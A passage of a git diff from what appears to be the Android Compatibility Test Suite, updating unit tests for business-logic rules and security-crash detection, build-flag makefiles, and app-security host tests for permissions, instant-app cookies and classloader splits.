+ assertEquals("Wrong arg for business logic rule action", "arg2",
+ rule2Action.mMethodArgs.get(1));
+ BusinessLogicRule rule3 = ruleList2.get(1);
+ List<BusinessLogicRuleCondition> rule3Conditions = rule3.mConditions;
+ assertEquals("Wrong number of conditions", 2, rule3Conditions.size());
+ BusinessLogicRuleCondition rule3Condition1 = rule3Conditions.get(0);
+ assertEquals("Wrong method name for business logic rule condition",
+ "conditionMethodName1", rule3Condition1.mMethodName);
+ assertFalse("Wrong negation value for business logic rule condition",
+ rule3Condition1.mNegated);
+ assertEquals("Wrong arg string count for business logic rule condition", 1,
+ rule3Condition1.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule condition", "arg1",
+ rule3Condition1.mMethodArgs.get(0));
+ BusinessLogicRuleCondition rule3Condition2 = rule3Conditions.get(1);
+ assertEquals("Wrong method name for business logic rule condition",
+ "conditionMethodName2", rule3Condition2.mMethodName);
+ assertTrue("Wrong negation value for business logic rule condition",
+ rule3Condition2.mNegated);
+ assertEquals("Wrong arg string count for business logic rule condition", 1,
+ rule3Condition2.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule condition", "arg2",
+ rule3Condition2.mMethodArgs.get(0));
+ List<BusinessLogicRuleAction> rule3Actions = rule3.mActions;
+ assertEquals("Wrong number of actions", 2, rule3Actions.size());
+ BusinessLogicRuleAction rule3Action1 = rule3Actions.get(0);
+ assertEquals("Wrong method name for business logic rule action",
+ "actionMethodName1", rule3Action1.mMethodName);
+ assertEquals("Wrong arg string count for business logic rule action", 2,
+ rule3Action1.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule action", "arg1",
+ rule3Action1.mMethodArgs.get(0));
+ assertEquals("Wrong arg for business logic rule action", "arg2",
+ rule3Action1.mMethodArgs.get(1));
+ BusinessLogicRuleAction rule3Action2 = rule3Actions.get(1);
+ assertEquals("Wrong method name for business logic rule action",
+ "actionMethodName2", rule3Action2.mMethodName);
+ assertEquals("Wrong arg string count for business logic rule action", 0,
+ rule3Action2.mMethodArgs.size());
+
+ List<BusinessLogicRule> ruleList3 = bl.mRules.get("testCaseName3");
+ assertEquals("Wrong number of rules in third rule list", 0, ruleList3.size());
+ } finally {
+ FileUtil.deleteFile(file);
+ }
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testLogicWithWrongNodeName() throws Exception {
+ File file = createFileFromStr(CORRECT_LOGIC.replace("testName", "testNam3"));
+ try {
+ BusinessLogic bl = BusinessLogicFactory.createFromFile(file);
+ } finally {
+ FileUtil.deleteFile(file);
+ }
+ }
+
+ private static File createFileFromStr(String blString) throws IOException {
+ File file = File.createTempFile("test", "bl");
+ FileOutputStream stream = new FileOutputStream(file);
+ stream.write(blString.getBytes());
+ stream.flush();
+ stream.close();
+ return file;
+ }
+}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/CrashUtilsTest.java b/common/util/tests/src/com/android/compatibility/common/util/CrashUtilsTest.java
index 6a2ab6e..2138b7b 100644
--- a/common/util/tests/src/com/android/compatibility/common/util/CrashUtilsTest.java
+++ b/common/util/tests/src/com/android/compatibility/common/util/CrashUtilsTest.java
@@ -16,113 +16,126 @@
package com.android.compatibility.common.util;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Pattern;
-import java.math.BigInteger;
-
-import junit.framework.TestCase;
-
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
+import java.util.regex.Pattern;
-
+/** Unit tests for {@link CrashUtils}. */
@RunWith(JUnit4.class)
-public class CrashUtilsTest extends TestCase {
+public class CrashUtilsTest {
- private List<Crash> mCrashes;
+ private JSONArray mCrashes;
@Before
public void setUp() throws IOException {
- BufferedReader txtReader =
- new BufferedReader(
- new InputStreamReader(
- getClass().getClassLoader().getResourceAsStream("logcat.txt")));
- try {
+ try (BufferedReader txtReader =
+ new BufferedReader(
+ new InputStreamReader(
+ getClass().getClassLoader().getResourceAsStream("logcat.txt")))) {
StringBuffer input = new StringBuffer();
String tmp;
while ((tmp = txtReader.readLine()) != null) {
input.append(tmp + "\n");
}
- mCrashes = CrashUtils.getAllCrashes(input.toString());
- } finally {
- txtReader.close();
+ mCrashes = CrashUtils.addAllCrashes(input.toString(), new JSONArray());
}
}
@Test
public void testGetAllCrashes() throws Exception {
- List<Crash> expectedResults = new ArrayList<>();
- expectedResults.add(new Crash(11071, 11189, "AudioOut_D", "/system/bin/audioserver",
- new BigInteger("e9380000", 16), "SIGSEGV"));
- expectedResults.add(new Crash(12736, 12761, "Binder:12736_2", "/system/bin/audioserver",
- new BigInteger("0", 16), "SIGSEGV"));
- expectedResults.add(new Crash(26201, 26227, "Binder:26201_3", "/system/bin/audioserver",
- new BigInteger("0", 16), "SIGSEGV"));
- expectedResults.add(new Crash(26246, 26282, "Binder:26246_5", "/system/bin/audioserver",
- new BigInteger("0", 16), "SIGSEGV"));
- expectedResults.add(new Crash(245, 245, "installd", "/system/bin/installd",
- null, "SIGABRT"));
- expectedResults.add(new Crash(6371, 8072, "media.codec", "omx@1.0-service",
- new BigInteger("ed000000", 16), "SIGSEGV"));
- expectedResults.add(new Crash(8373, 8414, "loo", "com.android.bluetooth",
- null, "SIGABRT"));
- expectedResults.add(new Crash(11071, 11189, "synthetic_thread", "synthetic_process_0",
- new BigInteger("e9380000", 16), "SIGSEGV"));
- expectedResults.add(new Crash(12736, 12761, "synthetic_thread", "synthetic_process_1",
- new BigInteger("0", 16), "SIGSEGV"));
+ JSONArray expectedResults = new JSONArray();
+ expectedResults.put(createCrashJson(
+ 11071, 11189, "AudioOut_D", "/system/bin/audioserver", "e9380000", "SIGSEGV"));
+ expectedResults.put(createCrashJson(
+ 12736, 12761, "Binder:12736_2", "/system/bin/audioserver", "0", "SIGSEGV"));
+ expectedResults.put(createCrashJson(
+ 26201, 26227, "Binder:26201_3", "/system/bin/audioserver", "0", "SIGSEGV"));
+ expectedResults.put(createCrashJson(
+ 26246, 26282, "Binder:26246_5", "/system/bin/audioserver", "0", "SIGSEGV"));
+ expectedResults.put(createCrashJson(
+ 245, 245, "installd", "/system/bin/installd", null, "SIGABRT"));
+ expectedResults.put(createCrashJson(
+ 6371, 8072, "media.codec", "omx@1.0-service", "ed000000", "SIGSEGV"));
+ expectedResults.put(createCrashJson(
+ 8373, 8414, "loo", "com.android.bluetooth", null, "SIGABRT"));
+ expectedResults.put(createCrashJson(
+ 11071, 11189, "synthetic_thread", "synthetic_process_0", "e9380000", "SIGSEGV"));
+ expectedResults.put(createCrashJson(
+ 12736, 12761, "synthetic_thread", "synthetic_process_1", "0", "SIGSEGV"));
- assertEquals(expectedResults, mCrashes);
+ Assert.assertEquals(mCrashes.toString(), expectedResults.toString());
+ }
+
+ public JSONObject createCrashJson(
+ int pid, int tid, String name, String process, String faultaddress, String signal) {
+ JSONObject json = new JSONObject();
+ try {
+ json.put(CrashUtils.PID, pid);
+ json.put(CrashUtils.TID, tid);
+ json.put(CrashUtils.NAME, name);
+ json.put(CrashUtils.PROCESS, process);
+ json.put(CrashUtils.FAULT_ADDRESS, faultaddress);
+ json.put(CrashUtils.SIGNAL, signal);
+ } catch (JSONException e) {}
+ return json;
}
@Test
public void testValidCrash() throws Exception {
- assertTrue(CrashUtils.securityCrashDetected(mCrashes, true,
+ Assert.assertTrue(CrashUtils.securityCrashDetected(mCrashes, true,
Pattern.compile("synthetic_process_0")));
}
@Test
public void testMissingName() throws Exception {
- assertFalse(CrashUtils.securityCrashDetected(mCrashes, true,
+ Assert.assertFalse(CrashUtils.securityCrashDetected(mCrashes, true,
Pattern.compile("")));
}
@Test
public void testSIGABRT() throws Exception {
- assertFalse(CrashUtils.securityCrashDetected(mCrashes, true,
+ Assert.assertFalse(CrashUtils.securityCrashDetected(mCrashes, true,
Pattern.compile("installd")));
}
@Test
public void testFaultAddressBelowMin() throws Exception {
- assertFalse(CrashUtils.securityCrashDetected(mCrashes, true,
+ Assert.assertFalse(CrashUtils.securityCrashDetected(mCrashes, true,
Pattern.compile("synthetic_process_1")));
}
@Test
public void testIgnoreMinAddressCheck() throws Exception {
- assertTrue(CrashUtils.securityCrashDetected(mCrashes, false,
+ Assert.assertTrue(CrashUtils.securityCrashDetected(mCrashes, false,
Pattern.compile("synthetic_process_1")));
}
@Test
public void testBadAbortMessage() throws Exception {
- assertFalse(CrashUtils.securityCrashDetected(mCrashes, true,
+ Assert.assertFalse(CrashUtils.securityCrashDetected(mCrashes, true,
Pattern.compile("generic")));
}
@Test
public void testGoodAndBadCrashes() throws Exception {
- assertTrue(CrashUtils.securityCrashDetected(mCrashes, true,
+ Assert.assertTrue(CrashUtils.securityCrashDetected(mCrashes, true,
Pattern.compile("synthetic_process_0"), Pattern.compile("generic")));
}
+
+ @Test
+ public void testNullFaultAddress() throws Exception {
+ JSONArray crashes = new JSONArray();
+ crashes.put(createCrashJson(8373, 8414, "loo", "com.android.bluetooth", null, "SIGSEGV"));
+ Assert.assertTrue(CrashUtils.securityCrashDetected(crashes, true,
+ Pattern.compile("com\\.android\\.bluetooth")));
+ }
}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java b/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
index ac9f95f..c406a87 100644
--- a/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
+++ b/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
@@ -15,31 +15,29 @@
*/
package com.android.compatibility.common.util;
-import junit.framework.Test;
-import junit.framework.TestSuite;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
/**
* A test suite for all util unit tests.
* <p/>
* All tests listed here should be self-contained, and do not require any external dependencies.
*/
-public class UnitTests extends TestSuite {
-
- public UnitTests() {
- super();
- addTestSuite(CaseResultTest.class);
- addTestSuite(CrashUtilsTest.class);
- addTestSuite(DynamicConfigTest.class);
- addTestSuite(LightInvocationResultTest.class);
- addTestSuite(MetricsXmlSerializerTest.class);
- addTestSuite(MultipartFormTest.class);
- addTestSuite(ReportLogTest.class);
- addTestSuite(ResultHandlerTest.class);
- addTestSuite(StatTest.class);
- addTestSuite(TestResultTest.class);
- }
-
- public static Test suite() {
- return new UnitTests();
- }
+@RunWith(Suite.class)
+@SuiteClasses({
+ BusinessLogicTest.class,
+ CaseResultTest.class,
+ CrashUtilsTest.class,
+ DynamicConfigTest.class,
+ LightInvocationResultTest.class,
+ MetricsXmlSerializerTest.class,
+ MultipartFormTest.class,
+ ReportLogTest.class,
+ ResultHandlerTest.class,
+ StatTest.class,
+ TestResultTest.class,
+})
+public class UnitTests {
+ // empty on purpose
}
diff --git a/error_prone_rules.mk b/error_prone_rules.mk
index c2b0c79..25d9344 100644
--- a/error_prone_rules.mk
+++ b/error_prone_rules.mk
@@ -16,8 +16,11 @@
LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
-Xep:BoxedPrimitiveConstructor:ERROR \
-Xep:ConstantField:ERROR \
+ -Xep:EqualsIncompatibleType:ERROR \
-Xep:FormatString:ERROR \
-Xep:GetClassOnClass:ERROR \
+ -Xep:IdentityBinaryExpression:ERROR \
+ -Xep:JUnit3TestNotRun:ERROR \
-Xep:JUnitAmbiguousTestClass:ERROR \
-Xep:MissingFail:ERROR \
-Xep:MissingOverride:ERROR \
@@ -26,5 +29,6 @@
-Xep:RemoveUnusedImports:ERROR \
-Xep:ReturnValueIgnored:ERROR \
-Xep:SelfEquals:ERROR \
- -Xep:SizeGreaterThanOrEqualsZero:ERROR
+ -Xep:SizeGreaterThanOrEqualsZero:ERROR \
+ -Xep:TryFailThrowable:ERROR
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
index 78cb3a0..d17828d 100644
--- a/error_prone_rules_tests.mk
+++ b/error_prone_rules_tests.mk
@@ -15,7 +15,11 @@
# Set of error prone rules to ensure code quality of tests
# Goal is to eventually merge with error_prone_rules.mk
-LOCAL_ERROR_PRONE_FLAGS:= -Xep:JUnit3TestNotRun:ERROR \
- -Xep:JUnitAmbiguousTestClass:ERROR \
+LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
+ -Xep:CollectionIncompatibleType:ERROR \
+ -Xep:EqualsNaN:ERROR \
+ -Xep:FormatString:ERROR \
+ -Xep:JUnit3TestNotRun:ERROR \
+ -Xep:SizeGreaterThanOrEqualsZero:ERROR \
-Xep:TryFailThrowable:ERROR
diff --git a/hostsidetests/aadb/Android.mk b/hostsidetests/aadb/Android.mk
index 5cc2c10..5f0a967 100644
--- a/hostsidetests/aadb/Android.mk
+++ b/hostsidetests/aadb/Android.mk
@@ -27,7 +27,7 @@
LOCAL_CTS_TEST_PACKAGE := android.aadb
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/abioverride/Android.mk b/hostsidetests/abioverride/Android.mk
index 88c44d9..0877b43 100644
--- a/hostsidetests/abioverride/Android.mk
+++ b/hostsidetests/abioverride/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.host.abioverride
diff --git a/hostsidetests/abioverride/app/Android.mk b/hostsidetests/abioverride/app/Android.mk
index cdf063c..a246f72 100755
--- a/hostsidetests/abioverride/app/Android.mk
+++ b/hostsidetests/abioverride/app/Android.mk
@@ -34,7 +34,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAbiOverrideTestApp
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 1e6b96f..2a8c819 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := android.appsecurity
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_REQUIRED_MODULES := \
CtsCorruptApkTests_b71360999 \
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
index b1ac744..90b89af 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -20,16 +20,24 @@
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.ITestLogger;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.ITestLoggerReceiver;
+import com.android.tradefed.result.InputStreamSource;
+import com.android.tradefed.result.LogDataType;
import com.android.tradefed.targetprep.BuildError;
import com.android.tradefed.targetprep.ITargetCleaner;
import com.android.tradefed.targetprep.ITargetPreparer;
import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.util.StreamUtil;
/**
* Creates secondary and tertiary users for use during a test suite.
*/
-public class AppSecurityPreparer implements ITargetPreparer, ITargetCleaner {
+public class AppSecurityPreparer implements ITargetPreparer, ITargetCleaner, ITestLoggerReceiver {
+
+ private ITestLogger mLogger;
+
@Override
public void setUp(ITestDevice device, IBuildInfo buildInfo)
throws TargetSetupError, BuildError, DeviceNotAvailableException {
@@ -38,13 +46,23 @@
removeSecondaryUsers(device);
final int maxUsers = device.getMaxNumberOfUsersSupported();
- if (maxUsers > 1) {
- CLog.logAndDisplay(LogLevel.INFO,
- "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
- }
- if (maxUsers > 2) {
- CLog.logAndDisplay(LogLevel.INFO,
- "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+ try {
+ if (maxUsers > 1) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+ }
+ if (maxUsers > 2) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+ }
+ } catch (IllegalStateException e) {
+ InputStreamSource logcat = device.getLogcatDump();
+ try {
+ mLogger.testLog("AppSecurityPrep_failed_create_user", LogDataType.LOGCAT, logcat);
+ } finally {
+ StreamUtil.cancel(logcat);
+ }
+ throw new TargetSetupError("Failed to create user.", e, device.getDeviceDescriptor());
}
}
@@ -61,4 +79,9 @@
CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
}
}
+
+ @Override
+ public void setTestLogger(ITestLogger testLogger) {
+ mLogger = testLogger;
+ }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 00bac12..90dbaf8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -27,6 +27,8 @@
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.RunUtil;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.BufferedReader;
import java.io.EOFException;
import java.io.File;
@@ -119,6 +121,7 @@
* Test that an app that declares the same shared uid as an existing app, cannot be installed
* if it is signed with a different certificate.
*/
+ @CddTest(requirement="9.2/C-0-2")
public void testSharedUidDifferentCerts() throws Exception {
Log.i(LOG_TAG, "installing apks with shared uid, but different certs");
try {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
new file mode 100644
index 0000000..e291771
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.appsecurity.cts;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+public class ClassloaderSplitsTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String PKG = "com.android.cts.classloadersplitapp";
+ private static final String TEST_CLASS = PKG + ".SplitAppTest";
+
+ /* The feature hierarchy looks like this:
+
+ APK_BASE (PathClassLoader)
+ ^
+ |
+ APK_FEATURE_A (DelegateLastClassLoader)
+ ^
+ |
+ APK_FEATURE_B (PathClassLoader)
+
+ */
+
+ private static final String APK_BASE = "CtsClassloaderSplitApp.apk";
+ private static final String APK_FEATURE_A = "CtsClassloaderSplitAppFeatureA.apk";
+ private static final String APK_FEATURE_B = "CtsClassloaderSplitAppFeatureB.apk";
+
+ private IBuildInfo mBuildInfo;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Utils.prepareSingleUser(getDevice());
+ getDevice().uninstallPackage(PKG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ getDevice().uninstallPackage(PKG);
+ }
+
+ public void testBaseClassLoader() throws Exception {
+ new InstallMultiple().addApk(APK_BASE).run();
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ }
+
+ public void testFeatureAClassLoader() throws Exception {
+ new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+ }
+
+ public void testFeatureBClassLoader() throws Exception {
+ new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
+ }
+
+ public void testReceiverClassLoaders() throws Exception {
+ new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
+ }
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mBuildInfo = buildInfo;
+ }
+
+ private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
+ public InstallMultiple() {
+ super(getDevice(), mBuildInfo, null);
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 2174fa0..ddec487 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -175,7 +175,7 @@
doTest = false;
}
getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
- getDevice().waitForDeviceOnline();
+ getDevice().waitForDeviceOnline(120000);
} else {
getDevice().rebootUntilOnline();
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
index fd599ea..51fa77b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -29,6 +29,9 @@
private static final String INSTANT_COOKIE_APP_APK = "CtsInstantCookieApp.apk";
private static final String INSTANT_COOKIE_APP_PKG = "test.instant.cookie";
+ private static final String INSTANT_COOKIE_APP_APK_2 = "CtsInstantCookieApp2.apk";
+ private static final String INSTANT_COOKIE_APP_PKG_2 = "test.instant.cookie";
+
private CompatibilityBuildHelper mBuildHelper;
@Override
@@ -42,12 +45,13 @@
Utils.prepareSingleUser(getDevice());
uninstallPackage(INSTANT_COOKIE_APP_PKG);
- clearUserData(INSTANT_COOKIE_APP_PKG);
+ clearAppCookieData();
}
@Override
protected void tearDown() throws Exception {
uninstallPackage(INSTANT_COOKIE_APP_PKG);
+ clearAppCookieData();
}
public void testCookieUpdateAndRetrieval() throws Exception {
@@ -85,8 +89,14 @@
"testCookieResetOnNonInstantReinstall2");
}
- private String clearUserData(String packageName) throws DeviceNotAvailableException {
- return getDevice().executeShellCommand("pm clear " + packageName);
+ public void testCookieValidWhenSingedWithTwoCerts() throws Exception {
+ assertNull(installPackage(INSTANT_COOKIE_APP_APK, false, true));
+ runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+ "testCookiePersistedAcrossInstantInstalls1");
+ uninstallPackage(INSTANT_COOKIE_APP_PKG);
+ assertNull(installPackage(INSTANT_COOKIE_APP_APK_2, true, true));
+ runDeviceTests(INSTANT_COOKIE_APP_PKG_2, "test.instant.cookie.CookieTest",
+ "testCookiePersistedAcrossInstantInstalls2");
}
private String installPackage(String apk, boolean replace, boolean instant) throws Exception {
@@ -102,4 +112,8 @@
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
}
+
+ private void clearAppCookieData() throws Exception {
+ getDevice().executeShellCommand("pm clear " + INSTANT_COOKIE_APP_PKG);
+ }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index cc42e9a..620e881 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -17,6 +17,7 @@
package android.appsecurity.cts;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.CddTest;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceTestCase;
@@ -34,13 +35,22 @@
private static final String APK_22 = "CtsUsePermissionApp22.apk";
private static final String APK_23 = "CtsUsePermissionApp23.apk";
- private static final String APK_24 = "CtsUsePermissionApp24.apk";
+ private static final String APK_25 = "CtsUsePermissionApp25.apk";
+ private static final String APK_26 = "CtsUsePermissionApp26.apk";
+ private static final String APK_Latest = "CtsUsePermissionAppLatest.apk";
+
+ private static final String APK_PERMISSION_POLICY_25 = "CtsPermissionPolicyTest25.apk";
+ private static final String PERMISSION_POLICY_25_PKG = "com.android.cts.permission.policy";
private static final String APK_DECLARE_NON_RUNTIME_PERMISSIONS =
"CtsDeclareNonRuntimePermissions.apk";
private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
"CtsEscalateToRuntimePermissions.apk";
+ private static final String SCREEN_OFF_TIMEOUT_NS = "system";
+ private static final String SCREEN_OFF_TIMEOUT_KEY = "screen_off_timeout";
+ private String mScreenTimeoutBeforeTest;
+
private IAbi mAbi;
private CompatibilityBuildHelper mBuildHelper;
@@ -64,14 +74,28 @@
getDevice().uninstallPackage(USES_PERMISSION_PKG);
getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
+
+ // Set screen timeout to 30 min to not timeout while waiting for UI to change
+ mScreenTimeoutBeforeTest = getDevice().getSetting(SCREEN_OFF_TIMEOUT_NS,
+ SCREEN_OFF_TIMEOUT_KEY);
+ getDevice().setSetting(SCREEN_OFF_TIMEOUT_NS, SCREEN_OFF_TIMEOUT_KEY, "1800000");
+
+ // Wake up device
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ getDevice().disableKeyguard();
}
@Override
protected void tearDown() throws Exception {
super.tearDown();
+ getDevice().setSetting(SCREEN_OFF_TIMEOUT_NS, SCREEN_OFF_TIMEOUT_KEY,
+ mScreenTimeoutBeforeTest);
+
getDevice().uninstallPackage(USES_PERMISSION_PKG);
getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
}
public void testFail() throws Exception {
@@ -144,6 +168,7 @@
"testGranted");
}
+ @CddTest(requirement="9.1/C-0-3")
public void testInteractiveGrant23() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
@@ -162,6 +187,24 @@
"testRuntimeGroupGrantExpansion");
}
+ public void testRuntimeGroupGrantExpansion25() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_25), false, false));
+ runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+ "testRuntimeGroupGrantExpansion");
+ }
+
+ public void testRuntimeGroupGrantExpansion26() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_26), false, false));
+ runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest26",
+ "testRuntimeGroupGrantNoExpansion");
+ }
+
+ public void testRuntimeGroupGrantExpansionLatest() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_Latest), false, false));
+ runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest26",
+ "testRuntimeGroupGrantNoExpansion");
+ }
+
public void testCancelledPermissionRequest23() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
@@ -230,12 +273,6 @@
"testRequestPermissionFromTwoGroups");
}
-// public void testOnlyRequestedPermissionsGranted24() throws Exception {
-// assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_24), false, false));
-// runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest24",
-// "testOnlyRequestedPermissionsGranted");
-// }
-
public void testUpgradeKeepsPermissions() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
@@ -304,6 +341,14 @@
"testCannotEscalateNonRuntimePermissionsToRuntime");
}
+ public void testNoProtectionFlagsAddedToNonSignatureProtectionPermissions25() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_PERMISSION_POLICY_25), false, false));
+ runDeviceTests(PERMISSION_POLICY_25_PKG,
